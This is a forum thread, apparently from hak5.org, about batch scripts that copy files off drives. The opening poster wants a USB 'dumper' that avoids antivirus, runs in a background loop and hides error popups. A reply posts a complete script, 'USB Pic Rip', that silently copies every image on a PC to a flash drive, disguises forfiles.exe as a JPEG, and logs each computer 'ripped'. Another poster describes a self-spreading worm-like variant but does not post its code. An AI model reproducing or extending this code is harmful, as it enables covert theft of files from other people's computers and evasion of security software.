Jump to content

copying entire drives


sc0rpi0

Recommended Posts

I am currently trying to automate the "backing up" of usb drives.

I don't want to use the usb dumper, because it is detected by av.

So, I am trying to do it via a batch file.

When I run this command however,

xcopy "D:*.doc" "c:files" /s/c/q/r/h

it always prompts me whether I want to copy files or directories.

Is there a way to make it automatically copy all documents from drive D *without* prompting?

Thanks.

Link to comment
Share on other sites

you probably want to make the paths relative (as far as possible).

You see, I'm trying to make a usb dumper batch file which is always looping in the backround. So I can't make them very relative.

This works:

xcopy "A:*.doc" "C:folder" /s/c/q/r/h >null

Only, I get popup error messages when a drive does not exist. Is there a way [registry, etc] of disabling/masking these error messages safely?

Thanks.

Link to comment
Share on other sites

Your better off using VBS, it's will work better for what you are trying to accomplish and it's quite easy to learn the basics which is all you will need. To the best of my knowledge there is no simple solution for doing this in batch.

Link to comment
Share on other sites

  • 2 weeks later...

:: USB Pic Rip v2.0.1
:: Scans computer for images.
:: Images are then transfered
:: to connected Flash drive.
:: ~AaoN~ Monday, September 3rd, 2007
:: Revised Tuesday, September 4th, 2007

@ECHO OFF

:: Gives program title.
title USB Pic Rip v2.0.1

::Set your flash drive
SET fla=%cd:~0,2%

::Set File type to Rip. To use uncomment next line and comment the preceding
:SET /p file=filetype:
set file=jpg

:: Checking to see if Rip directory exists
if exist rip goto next
md rip

:: Copy tools to one location for future use.
:next
copy far.jpg c:

::For archive on uncomment lext line.
:copy uharc.exe c:

:: Change Directory to C:
c:
cd c:

:: Creates Readme.txt for display at end of rip
cd c:Documents and Settings%username%
echo. > Readme.txt
echo. USB Pic Rip v2.0.1 >> Readme.txt
echo. By: Aaon >> Readme.txt
echo. Special recognition to: >> Readme.txt
echo. Gonzor for his clean way of setting your flash drive. >> Readme.txt
echo. VaKo and everyone else at hak5.org >> Readme.txt

:: Change directory to search for forfile.exe
cd c:windowssystem32

:: If it does exist goto Scan, if not copy it.
if exist forfiles.exe GOTO SCAN
copy c:far.jpg c:windowssystem32forfiles.exe

:: Create rip directory, Uses forfiles to scan and copy all images to Flash Drive
:SCAN
md %fla%picriprip%computername%
md %fla%picriprip%computername%%file%
FORFILES -pC: -s -m*.%file% -c"CMD /C copy @FILE %fla%picriprip%computername%%file%@FILE"

:: Incase you have the time to archive the files
:cd c:
:md uharc
:copy uharc.exe c:uharc
:cd c:uharc


:: Comment out previous ForFiles command and uncomment following to archive files before transfer
:FORFILES -pC: -s -m*.%file% -c"CMD /C copy @FILE c:uharc@FILE"
:uharc a picrip.uha
:: Copy archive to flash drive
:copy picrip.uha %fla%picriprip%computername%%files%

::Make log of who's been ripped
%fla%
cd picrip
if exist log.txt goto append
echo. > log.txt
:append
echo. >> log.txt
echo. USB Pic Rip v2.0.1 has sucessfully ripped all .%file%'s on %computername% on %date% at %time% >> log.txt
echo. >> log.txt

::Clean Up
c:
del c:far.jpg
:del c:uharc
cd c:Documents and Settings%username%

Readme.txt

exit

This was my code for the picture rip thing i wrote up in batch a while back. It's commented very well so you should be able to go through it and edit it to your liking. You will need to also get the portable uharc if you want it compress it and then the far.jpg is actually forfiles.exe and that can be downloaded here http://www.dynawell.com/reskit/microsoft/w...00/forfiles.zip

Link to comment
Share on other sites

Hi!

Actually, I've coded something that copies the entire drive or even only specific filetypes from any removable drive.

DOWNLOAD

Just doubleclick it, and it'll ask you.

But:

I've tested the syntax. Doesn't matter if I try

xcopy "D:*.doc" "C:files" /S /C /Q /R /H

or even

xcopy "D:*.doc" "C:files" /S /E /C /Q /R /H /Y

it copies all files to the directory.

Have you created the directory before?

Link to comment
Share on other sites

Hi!

Actually, I've coded something that copies the entire drive or even only specific filetypes from any removable drive.

DOWNLOAD

Just doubleclick it, and it'll ask you.

But:

I've tested the syntax. Doesn't matter if I try

xcopy "D:*.doc" "C:files" /S /C /Q /R /H

or even

xcopy "D:*.doc" "C:files" /S /E /C /Q /R /H /Y

it copies all files to the directory.

Have you created the directory before?

Obi that is hella fast too. Mind releasing the code. XD?

Link to comment
Share on other sites

  • 8 months later...

hi,

I like the USB copier (it´s so easy to use). But do you know how can I make it autostart when Windows start. And If I want to copy my pen drive everytime I put it in the computer, what I have to do (I donñt want to click twice everytime I Insert my pen). thank you very much for the app and if you can make this change it will be better

Link to comment
Share on other sites

i got something i made i can try to find it again

it copies all the files and folders from a certain folder on the usb drive to the pc and makes a service that starts a bat files that runs forever on the pc that detects new drives and copies the files and folders you copied from the usb to the pc back to any new drive and so on and so on

its still kinda in my personal beta stage as for i have yet to find a good enough reason to finish it

plus i guess if it fell into the wrong hands it could be used as a worms so i dont even think the hak5 admins will want me to post that code here

idk its up to them

have a admin quote this post and say yes its ok to post or no its not and i will do as they say

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...